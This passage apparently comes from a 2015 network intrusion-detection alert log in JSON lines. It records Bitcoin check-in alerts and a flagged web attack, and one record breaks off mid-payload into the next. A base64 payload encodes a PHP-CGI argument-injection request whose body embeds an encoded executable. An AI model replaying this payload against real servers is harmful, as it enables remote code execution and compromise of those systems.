e2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p","alert":{"action":"allowed","gid":1,"signature_id":2016981,"rev":4,"signature":"ET WEB_SERVER open_basedir PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0}}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2{"timestamp":"2015-04-07T11:30:44.606464","flow_id":140263131553888,"in_iface":"snf0","event_type":"alert","vlan":3780,"src_ip":"134.84.152.181","src_port":45497,"dest_ip":"199.127.226.245","dest_port":8333,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":2807135,"rev":2,"signature":"ETPRO POLICY Bitcoin variant Checkin 2","category":"Potential Corporate Privacy Violation","severity":1},"payload":"Li4uLmludi4uLi4uLi4uLiUuLi5cdS4uLi4uLi5XLi4uLi4uSi4uLi4uLjIuLi45LkwuLiouYC4uLi5eLg==","payload_printable":"....inv.........%...\\u.......W......J......2...9.L..*.`....^.","stream":0,"packet":"fK10kj0AfK10kl+AgQAOxAgARQAAZSRHQAA+Bk7NhlSYtcd\/4vWxuSCNMUycEzxdU5FQGDAIbZUAAPm+tNlpbnYAAAAAAAAAAAAlAAAAXHXf5AEBAAAAV8EE\/fAYHUrUkqqAl+gyo4cHOdtMD80q5WDAwuimXoA="}
|
|
{"timestamp":"2015-04-07T11:30:44.606738","flow_id":140266298689488,"in_iface":"snf0","event_type":"alert","vlan":3780,"src_ip":"134.84.152.181","src_port":44413,"dest_ip":"173.173.112.75","dest_port":8333,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":2807135,"rev":2,"signature":"ETPRO POLICY Bitcoin variant Checkin 2","category":"Potential Corporate Privacy Violation","severity":1},"payload":"Li4uLmludi4uLi4uLi4uLiUuLi5cdS4uLi4uLi5XLi4uLi4uSi4uLi4uLjIuLi45LkwuLiouYC4uLi5eLg==","payload_printable":"....inv.........%...\\u.......W......J......2...9.L..*.`....^.","stream":0,"packet":"fK10kj0AfK10kl+AgQAOxAgARQAAcW+XQAA+Bo\/thlSYta2tcEutfSCNssffUH5Mw4GAGCSQ5OIAAAEBCAoAEOh0Al6KUPm+tNlpbnYAAAAAAAAAAAAlAAAAXHXf5AEBAAAAV8EE\/fAYHUrUkqqAl+gyo4cHOdtMD80q5WDAwuimXoA="}
|
|
{"timestamp":"2015-04-07T11:30:44.654199","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":2011768,"rev":6,"signature":"ET WEB_SERVER PHP tags in HTTP POST","category":"Web Application Attack","severity":1,"tx_id":0},"payload":"cMladbN\/AAAAEAAA\/w8AAEZZZ2VBOHcvSGtRWHpRUTNPSWdPSFE3QUdSaEFqUHNzTGhoUTJlVWhDcWVRUU5iYkUxK2MwQm10WDhiVEdyT1IweEpRa05mTWk0Q05XM3J2bzRYTTBrREF3Y0QxdEtXdkJZREN5ZmthbS9FQTVlUEJCQXN0cTFiS3l0UG50NnFUd0lrbmhCMUdyWjN1OFpwQ2FwMlFRRlNxVCszOS9rMVloTnBhUTJDQWlkZkFtU1k4U0hJa1ZESFR5OTV3NVUvQlM1SzZBZmJKRFBvQUY1YXJ3SHdqOGtsbDNRdkF2Z0Rra3NtZVFDU0JBaExMcm5rQlJBR0xybmtraGdISUFpNTVKSkxLQWt3NUpKTExnbzRDNUpMTHJsQURFaExMcm5rRFZBT0xybmtrbGdQWUJDNTVKSkxhQkZ3NUpKTExoSjRFNUpMTHJtQUZJaExMcm5rRlpBV0xybmtrcGdYb0JpNTVKSkxxQm13NUpKTExocTRHNUpMTHJuQUhNaExMcm5rSGRBZUxybmtrdGdmNENDQW5KeUkvMkZiSVNRRE1zbVNJcElna3d6SUk1TWt5WUJNTXBNbGs4Z2tBeklta3ljeUlKTU1reWlUTXNtQVRDbVRLZ3pJSkFPVEs1Tk1NaUNUTEpNdEF6TEpnSk11azVNTXlDUXZrekNBVERJZ2t6RWtBekxKa3pLVElKTU15RE9UTk1tQVRES1ROWlBJSkFNeU5wTTNNaUNUREpNNGt6TEpnRXc1a3pvTXlDUURrenVUVERJZ2t6eVRQUU15eVlDVFBwT1RETWdrUDVOQUFUazVJV1JjUVVrR1pKS1RRcE5BSmhtUVE1UkVrZ0daWkpSRmxKQkpCbVJHbEVka1FDWVpsRWlVWkpJQm1VbVVUQm1RU1FhVVRaUjllRUFtVG9Qc0NFWVorTy8vN2ZNSUdseHVIQ1RFQ01QL05kSjZFQUQvSmRRS2tIWXFkWFlBRWg5b0ZSVDhIcExLSkpYS0FjSUNwREpKWmJvRHNnU3BURktacWdXaUJpcVRWQ2FhQjVJSXlpU1ZTWW9KZ2pKSlpaSUtlZ3R5VEZLWnBBeHFEV0tUVkNhcERsb1BVaVNWU1NvUVNoRkpaWkxLUWhJNkUxS1pwREl5RkNvVlZDYXBUQ0lXR2hlVlNTcVRFaGdLR1hPU3lpUUNHdnA1bWFReXlSdnlIT29tcVV4U0hlSWUya2txazFRZjBpQ1N5aVNWeWlIQ0lxUXlTV1c2STdJa3FVeFNtYW9sb2lZcWsxUW1taWVTS01va2xVbUtLWUl5U1dXU0tub3Jja3hTbWFRc2FpMWlrMVFtcVM1YUwxSWtsVWtxTUVveFNXV1N5a0l5T2pOU21hUXlNalFxTlZRbXFVd2lOaG8zbFVrcWt4STRDamx6a3Nva0FqcjZlSm1rTXNrNzhqenFKcWxNVWozaVB0cEpLcE5VUDlKQWtzb2tsY3BCd2tLa01rbGx1a095UktsTVVwbXFSYUpHS3BOVUpwcEhra2pLSkpWSmlrbUNQMGhsa2twNlMwZ3g3VW1KQmY4RitORmVTSW5pdk9Ud1VGUkp4OENnYjVwSXdEL3c3OGZCNEEzSFlGNUFXQlVzOUpBZDhMZC9Ka2lMQmNGMWdFaUZ3SFFDLzlBbGtMNTllR0FCZ0QwaDNnQlZvT1YwRU9za1B0OTM4MmJBaVFVMTZQL1NlQ3g0aXhDYnRiL2ZmdEoxNU1ZRjlSb0J5Y05tQUpBSGtIRC9CcnQ3Z3oyM2M0S0JGcmhNMXd5L0lKRC8xMzdCVUFCU3c4bEIvK1BKNVlud01kSm14MFFrL3QvK0Z3QVV5SDRTa0ErM0I0UHVBb2pIQWdIQ2cyOW45Ly8rQVgvdi84NTFEZysyQjRoRU5nZ3NpZENCNHR2M2I5Yi8vNlQ0RUFIUWljTEIrZ3ozMERqQXc3aGFJSGorOHhrZlUvMkhneTh1KytzRHhnSSszeXdXN0VpTkJBTXc5disyQmxEL3hrRC9QQTEwNVR3S2RPRmJ3MStFSC80NWp4VThnL2ovZEFWZnZ3RTR0cmI5L3hpY1B5RmZiRGtVVXl2b2VGMW1COTEzdy9kN0dFQmMyQllCZENaRUZ3d1k4Q250ZmtpWVNQYzF4aVJJdUlUL3dQQ2NIVnpBRDhpSnZ3NGpGN3d0dTNjL2F5VkltUDhYblBiM1A0U0pYQ1R3VElsa0pQaFNLRUdKL0NDUE80djE0VUc0RU15NkZWaHFuWVVNN3dRa0hnL2VaNkdzZHB2Y2ZsQkVpZWRYRkRXTHFMYzF2T1lZVElzZzRpampCa0ZXUVJiYy92dFZRVlJWVTlvZ1RJMTBKQndJYkNRRXR0UjJjTzhlYjhjRkdueXNBTkFjbTlLOXRpMW9ENFNnSGgweXNENEEwd2FpRFNzTXZ3YTFJSzV3bTgza2UzamlQZXVFMEx5VERQTE9keDJaSnRmL3cyKzQ3eUNKUlA0OXBINE04cjRoVk5Oc3NCaCt3R2JpdkFwRTdxYkIzVFZMSERILzZZekY2ejRoTTNqYXdUekhIWEJydWpjMDMvRWJXdVlFdzlkMGJZc0RRbXAwWm9Qb0R6c010M0lPQVhjYTZ4ZnNreW5vU0dUQjAyNHlDWGF5aENoSXhDMThJOCtDWGIwczZVd2NnaHdZdHFGOWovdzcxRWhqVUJRb1FMYUo3Z3hCczMyK09GQVZUQjBDVHVSNlJYQkQycUI0TWNtNkRSVXl5a0FPdVpBQ3NBbC8wUDdGYUNCYlhVRmNRUVplb1F5Wjl6MFo4ZFhCVTNSSVkrUUUxWkRHb0doZ2ZnYUJlMDJpdjQ0MHYrbFVvUGRKaWRSVlUvT0ozdi8vYjlyQzZ4YmxTSW55U1AvQlNJMTJBWUE2SVhRSlNEbkkxZUJXbjNVVUN3T0xMUllpRUFVTEdyUUU3cmNNNUhVcFBrSGhhOFAvZ0R3a09nK1V3RWtCeEFqdGRQenZQR2pRMEVWY0NPYzVMQlRlZVR1QXk4QmprRkRYQklJUFBsN1YrdXZFR0FNeDlnQUYvODllcXY4NXduTVNnRHNnZEEzL3hoRERzTWQ5QmFMV0luTHVDRE1nRlVWUzhHMDJLb1A1Qkg3V2Z0K1dMNWZLSU1FWk5WWjVIcTdjQzNrUGhhT2lCbllBckdBZzJCdDROQzNrQzA0UklYUjhHUUorMnRZd0NpWVBDNHNPTzNyMFU2ekFTTElRVEd3Q0w0QzFPelJjRXFBRGlBVjRPQjlwbXhRUVF3RVNiUUxHQldCeDJzUDEvMTBQQ0RaUWtEdGU4d2dZdzUzOTdPQVc3VjZmTWhZd0ExenJvMWgzTERDZllSRlpXd2cvcnNJSktrWXVxSnU4R2h6OFJIT2N2NGh3UUZ6Q3A4QTFZQVhvWnh3MTM3MEFnNmNoam44NGVvZmRzWnBzWWY5Vk5Qendhd0JSMVF5VXl3aS9lMnVMTkhRd3h2VUUwK3NNa044cDAzUVpTQUVhbkFLMHhSVGFodTRiWEhLdDQ2OFlBSHdUZGQrcTZFRFkwMDN4cjJZRnc5dURPQVIxQmxpMjY4RnRnQTNxeDhCRjY5emEzeWo0aXU3VGY3d0d3M1VDVzhPRmdRRUtma0ZYalVJREZ0ZnZMcURCUDAzMVNUSHRRRER0T1JqK3lyV2lOa1NZK01iYUVQWkJ3ZjhDMVR2SGlha1czSHNqRUI2N01lM2U3QTNNR0loVVAzUUdiVERiejdDSzdXTTU0QUY3aEV3eHNJbTl4aUFBUVFLOVBLM3QyTjY4aGRzUGpoSWkzQllVSkFaTVhvbUczOTd3MElQaUE3d0N3ZUlFSHNCQWlxaWdnTjdGdGRmL2ljakI2QVFKd29QN0FRWXNnaVowdnJYdjlPcUl4dGJWYkNoMHRvUGhENEhsUlFaNEZSYi9qUVNObFV6QnNYMmwvZW9HQ2RCSW1HU0F3ZUFRQ2NXSUFyaTdZMjh2SG40TmVQQ0Q0RDgzR0haNFBHaHRnTGhJUUNyOTBCWHNORWk3OW41TzZDZ2kvR3dudzk3UGlpREI3eEJNL3lsWEdPeC8wMkVoUmtHa1JUbitmSEpGaGZaK0Z6YkQNCmMrQUJXQ1duZVZkL1FLZDZEWWV6Rm96MGF5R2N1dllGT1BYL1FWL0RRdTg5RE9ERjl2Nmlycit3Y0crYTY2TC94czZRNG50RXNDSDkzNkFaUmwrM2l0K05wWXdvSXVFL2UrbURERDMvZ2MwVU01NnBzS3VHdVIvbzhEMVdvVDJ3RG13dWlmZFR2cWRHSGFORTdKRE5IV3oyb09qZEhZN0V2a2NrSDRqcTNmVzFjL2JvQ3NZZ0lWeGZuRUd6Szl3bGl4d2tGZ2dJbWhDM1dweW1ydWt6WnIrTFA2aW9VTDdnckhUODFqOGVHUXBXYUIvemdleFlYK29YSElRVS9VeU5wQ1NnM3ZhNm1DM3hKekRuR0R4QmcvME8wSUJOdTNmaVJJUWtLRlJ5NHVaRWdnL3ZhL09jWVlrdi8wdzgrV3VDYXlaQUdEcVlTQStzSkZBTFhGRGF6TVI1QkZaeEo3ejYyTmxVSkREMjBBNTdvUkpGWWpoa2xUY0lKNnpxdFlOQUNrU2VUQ3hJak1JeXMvMlIwTkxQcXVJUEtYanhCbkRoTnB2TlptalJZTUZZc1ZDaFNKSEJyOUJ0UUlGVDRLQU5nbTRRWXk2czRJSUNIQVJBTXlIZUJERGg5a2dJSUlNRzczS3RFSVhKZFFXQlBGQi94RmZMMkFEZlZMOXVRYnhQN0JnOUxNREVUZ0F4MjhCd0lkb1hYRWF3NG1rTVFCOVhtaU9OREJER1FCU2wvLy9kaWd4MnZ4cDM5K3lKOGNINUg4SDZBeW5LRDYvWEtkYlRBMVdpalpMdUt6cDJhZHVpZGhSMTA1TG5yZ0J0QmdGMURnS0JhY1RuQXdRdDlCWnU3RzExUjBpcUx3MEFyU2E4Rmw2b204MW0yendGV3dZR01RY3dDRjBKTGVXeHoyTS9qU2NHTWgrOE5CNVNlVWd6NjBFMEdrL2ZsWWRVTlVsY05uNTBGbmhwbnl1Zkt6ZCthS2QyT0g1YzFvTm5ncDhyT1g1UXdjVUFGd2pQMjgvYkNWMHVDaTErT0t3SEFSWUhOWDRzZ3ZMQnlzR0xBVjR5Zmh3bVdBOEN5T0RLdDM0UUZpNlROSDRFQ3lHRzFldGVjRHhkMzN2Z3NoSzZ6WEZjVVNWTThJeXVDMGE2Skx0Tnd3ajhpRitKKzcrZ3BpVVBFT1d1MEdBcGVvdzZScU5IckgyRUZRNFYwUWpDdmw0cGVPQWR1anpFVzhPK1NocmhsUkg3aENiODMxZnlZRE8rTWEyTUtDNzF3cldnZkh5L1V6MUY0cVVLKzBDL1hpTmtmc25WaFhnZ1hSeUlBcThkc0xrZExU","payload_printable":"FYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB4A3HYF5AWBUs9JAd8Ld\/JkiLBcF1gEiFwHQC\/9AlkL59eGABgD0h3gBVoOV0EOskPt9382bAiQU16P\/SeCx4ixCbtb\/fftJ15MYF9RoBycNmAJAHkHD\/Brt7gz23c4KBFrhM1wy\/IJD\/137BUABSw8lB\/+PJ5YnwMdJmx0Qk\/t\/+FwAUyH4SkA+3B4PuAojHAgHCg29n9\/\/+AX\/v\/851Dg+2B4hENggsidCB4tv3b9b\/\/6T4EA